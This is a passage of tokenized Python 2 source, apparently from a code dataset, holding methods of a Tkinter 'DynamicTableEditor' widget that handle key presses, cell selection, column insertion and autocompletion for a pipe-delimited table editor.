"\\u", "cell_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "there", " ", "is", " ", "a", " ", "selection", ";", " ", "select", " ", "current", " ", "cell", " ", "if", " ", "it", "'", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "not", " ", "selecte", "d", ",", " ", "select", " ", "row", " ", "if", " ", "it", " ", "is", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "select", "\\u", "current", "\\u", "cell_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "tag", "\\u", "ranges_", "(_", "\"", "sel", "\"_", ")_", "==_", "sel_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "it", " ", "was", " ", "alr", "ead", "y", " ", "selecte", "d", ";", " ", "select", " ", "whole", " ", "line", " ", "inst", "ead_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tag", "\\u", "add_", "(_", "\"", "sel", "\"_", ",_", "\"", "insert", " ", "linest", "art", "\"_", ",_", "\"", "insert", " ", "line", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "control", "\\u", "enter_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Enter", " ", "a", " ", "newline", ",", " ", "and", " ", "indent", " ", "appropr", "iate", "ly", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Us", "efu", "l", " ", "whe", "n", " ", "entering", " ", "rows", " ", "for", " ", "a", " ", "text", ",", " ", "so", " ", "you", " ", "don", "'", "t", "\\", "10", ";", " ", " ", " ", " ", "have", " ", "to", " ", "manu", "ally", " ", "type", " ", "so", " ", "many", " ", "pipe", "s", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "line_", "=_", "self_", "._", "get_", "(_", "\"", "insert", " ", "linest", "art", "\"_", ",_", "\"", "insert", " ", "line", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "re_", "._", "match_", "(_", "r", "'[", " ", "|.", "]*'_", ",_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "\"\\\\", "n", "\"_", "+_", "match_", "._", "group_", "(_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "re_", "._", "match_", "(_", "r", "'[", " ", "|.", "]*\\\\", "|", " ", "+:", "[", "Ff", "][", "Oo", "][", "Rr", "]", " ", "+'_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "line", " ", "is", " ", "a", " ", "FOR", " ", "loop", ";", " ", "add", " ", "one", " ", "more", " ", "level", " ", "of", " ", "indentation_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "\"|", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "triple", "\\u", "click_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "select", "\\u", "current", "\\u", "cell_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "\\u", "tab_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Special", " ", "handling", " ", "for", " ", "the", " ", "tab", " ", "key", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Lot", "s", " ", "of", " ", "thing", "s", " ", "are", " ", "goi", "ng", " ", "on", " ", "here", ".", " ", "We", " ", "mig", "ht", " ", "move", " ", "to", " ", "the", " ", "next", "\\", "10", ";", " ", " ", " ", " ", "cell", ",", " ", "or", " ", "we", " ", "add", " ", "indent", "ation", " ", "based", " ", "on", " ", "the", " ", "previ", "ous", " ", "line", ",", " ", "or", " ", "add", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "new", " ", "column", " ", "to", " ", "the", " ", "current", " ", "row", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "complete", "\\u", "frame_", "._", "place", "\\u", "forget", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "we", " ", "in", " ", "a", " ", "variab", "le", "?", " ", "If", " ", "so", ",", " ", "move", " ", "to", " ", "just", " ", "outsi", "de", " ", "the", " ", "variable_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "line_", "=_", "self_", "._", "get_", "(_", "\"", "insert", " ", "linest", "art", "\"_", ",_", "\"", "insert", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "re_", "._", "search_", "(_", "r", "'[", "\\\\$", "@]", "{[", "^", "}]", "*$'_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index_", "=_", "self_", "._", "search_", "(_", "\"}", " ", "*\"_", ",_", "\"", "insert", "\"_", ",_", "regexp_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "index_", "=_", "\"", "insert", " ", "line", "end", "\"_", ",_", "count_", "=_", "self_", "._", "tmp", "var_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index_", "!=_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mark", "\\u", "set_", "(_", "\"", "insert", "\"_", ",_", "\"%", "s", "+", "%", "sc", "\"_", "%_", "(_", "index_", ",_", "self_", "._", "tmp", "var_", "._", "get_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "we", " ", "at", " ", "the", " ", "beginn", "ing", " ", "of", " ", "a", " ", "blank", " ", "line", "?", " ", "If", " ", "so", ",", " ", "add", " ", "indentation_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "equal", " ", "to", " ", "the", " ", "previ", "ous", " ", "line_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "self_", "._", "compare_", "(_", "\"", "insert", "\"_", ",_", "\">\"_", ",_", "\"", "1.0", "\"_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "compare_", "(_", "\"", "insert", "\"_", ",_", "\"==", "\"_", ",_", "\"", "insert", " ", "linest", "art", "\"_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "compare_", "(_", "\"", "insert", "\"_", ",_", "\"==", "\"_", ",_", "\"", "insert", " ", "line", "end", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "previ", "ous", "\\u", "line_", "=_", "self_", "._", "get_", "(_", "\"", "insert", " ", "-1", " ", "line", " ", "linest", "art", "\"_", ",_", "\"", "insert", " ", "-1", " ", "line", " ", "line", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "match_", "=_", "re_", "._", "match_", "(_", "r", "'", "^", "([", " ", "|.", "]+)'_", ",_", "previ", "ous", "\\u", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "match_", "._", "group_", "(_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Or", ",", " ", "we", " ", "mig", "ht", " ", "want", " ", "to", " ", "add", " ", "a", " ", "new", " ", "column", " ", "based", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "shou", "ld", "\\u", "add", "\\u", "new", "\\u", "column_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "\"", " ", "|", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "move", "\\u", "to", "\\u", "next", "\\u", "column_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "current", "\\u", "cell", "\\u", "boundaries_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "find", " ", "the", " ", "separator", " ", "prior", " ", "to", " ", "this", " ", "cell_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "self_", "._", "search_", "(_", "\"(", "^", "|", " ", ")\\\\", "|(", " ", "|", "$)", "\"_", ",_", "\"", "insert", "\"_", ",_", "regexp_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "count_", "=_", "self_", "._", "tmp", "var_", ",_", "backwards_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "index_", "=_", "\"", "insert", " ", "linest", "art", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "self_", "._", "index_", "(_", "\"", "insert", " ", "linest", "art", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start_", "=_", "self_", "._", "index_", "(_", "\"%", "s", "+", "%", "sc", "\"_", "%_", "(_", "i_", ",_", "self_", "._", "tmp", "var_", "._", "get_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "self_", "._", "search_", "(_", "\"", " ", "\\\\|", "(", " ", "|", "$)", "\"_", ",_", "\"", "insert", "\"_", ",_", "stop", "index_", "=_", "\"", "insert", " ", "line", "end", "\"_", ",_", "regexp_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", "==_", "\"\"_", ":_", "i_", "=_", "self_", "._", "index_", "(_", "\"", "insert", " ", "line", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "start_", ",_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "shou", "ld", "\\u", "add", "\\u", "new", "\\u", "column_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "self_", "._", "compare_", "(_", "\"", "insert", "\"_", ",_", "\"==", "\"_", ",_", "\"", "insert", " ", "line", "end", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "index_", "=_", "self_", "._", "search_", "(_", "r", "'\\\\", "|", " ", "+$", "'_", ",_", "\"", "insert", "\"_", ",_", "backwards_", "=_", "True_", ",_", "regexp_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "index_", "=_", "\"", "insert", " ", "linest", "art", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "index_", "==_", "\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "pipe_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "we", " ", "are", " ", "prece", "eded", " ", "by", " ", "zero", ",", " ", "or", " ", "an", " ", "odd", " ", "number", " ", "of", " ", "backslash", "es", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "insert", " ", "a", " ", "new", " ", "column", " ", "separator_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "beginn", "ing", " ", "of", " ", "line", " ", "gets", " ", "special", " ", "treatment", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "self_", "._", "compare_", "(_", "\"", "insert", "\"_", ",_", "\"==", "\"_", ",_", "\"", "insert", " ", "linest", "art", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "\"|", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prev_", "=_", "self_", "._", "get_", "(_", "\"", "insert", "-1", "c", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "prev_", "==_", "\"\\\\\\\\\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "\"|\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "prev_", "!=_", "\"", " ", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "\"", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "\"|\"_", ",_", "\"", "column", "\\u", "marker", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "\"", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "brace", "\\u", "open_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "the", " ", "prev", " ", "char", " ", "is", " ", "a", " ", "$", ",", " ", "autom", "agi", "call", "y", " ", "add", " ", "a", " ", "close", " ", "curl", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prev_", "=_", "self_", "._", "get_", "(_", "\"", "insert", "-1", "c", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev", "prev_", "=_", "self_", "._", "get_", "(_", "\"", "insert", "-1", "c", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "(_", "prev_", "==_", "\"$\"_", "or_", "prev_", "==_", "\"@\"_", ")_", "and_", "prev", "prev_", "!=_", "\"\\\\\\\\\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "insert_", "(_", "\"", "insert", "\"_", ",_", "\"{}\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u", "add_", "(_", "\"", "variab", "le", "\"_", ",_", "\"", "insert", "-", "3c", "\"_", ",_", "\"", "insert", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "mark", "\\u", "set_", "(_", "\"", "insert", "\"_", ",_", "\"", "insert", "-1", "c", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "edit", "\\u", "separator_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "click_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "complete", "\\u", "frame_", "._", "place", "\\u", "forget", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "post", "\\u", "change", "\\u", "hook_", "(_", "self_", ",_", "result_", ",_", "command_", ",_", "*_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "tag", "\\u", "current", "\\u", "cell_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u", "remove_", "(_", "\"", "current", "\\u", "line", "\"_", ",_", "1.0_", ",_", "\"", "end", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "tag", "\\u", "add_", "(_", "\"", "current", "\\u", "line", "\"_", ",_", "\"", "insert", " ", "linest", "art", "\"_", ",_", "\"", "insert", " ", "line", "end", " ", "+", "1c", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "repos", "ition", "\\u", "choices_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "func_", "in_", "self_", "._", "hooks_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "func_", "(_", "result_", ",_", "command_", ",_", "*_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "warn", "ing", ":", " ", "exception", " ", "in", " ", "post", "\\u", "change", "\\u", "hook", ":\"_", ",_", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "command_", "in_", "(_", "\"", "insert", "\"_", ",_", "\"", "delete", "\"_", ")_", "and_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "event", "\\u", "generate_", "(_", "\"<<", "Auto", "Complete", ">>", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "line_", "=_", "self_", "._", "index_", "(_", "\"", "insert", "\"_", ")_", "._", "split_", "(_", "\".\"_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "any", "\\u", "key_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "event", "\\u", "generate_", "(_", "\"<<", "Auto", "Complete", ">>", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "tab_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "selection_", "=_", "self_", "._", "list_", "._", "curse", "lection", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "selection_", "is_", "not_", "None_", "and_", "len_", "(_", "selection_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "selection_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "text_", "=_", "self_", "._", "list_", "._", "get_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "replace_", "(_", "\"", "current", "\\u", "cell", ".", "first", "\"_", ",_", "\"", "current", "\\u", "cell", ".", "last", "\"_", ",_", "text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "complete", "\\u", "frame_", "._", "place", "\\u", "forget", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "move", "\\u", "to", "\\u", "next", "\\u", "column_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "move", "\\u", "to", "\\u", "next", "\\u", "column_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"", "break", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dynamic", "Table", "Editor_", "(_", "tk_", "._", "Text_", ",_", "Highlight", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "on", "\\u", "return_", "(_", "self_", ",_", "event_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "complete", "\\u", "frame_", "._", "win", "fo", "\\u", "view", "able_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "selection_", "=_", "self_", "._", "list_", "._", "curse", "lection", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "selection_", "is_", "not_", "None_", "and_", "len_", "(_", "selection_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "i_", "=_", "selection_", "[_", "0_", "]_", 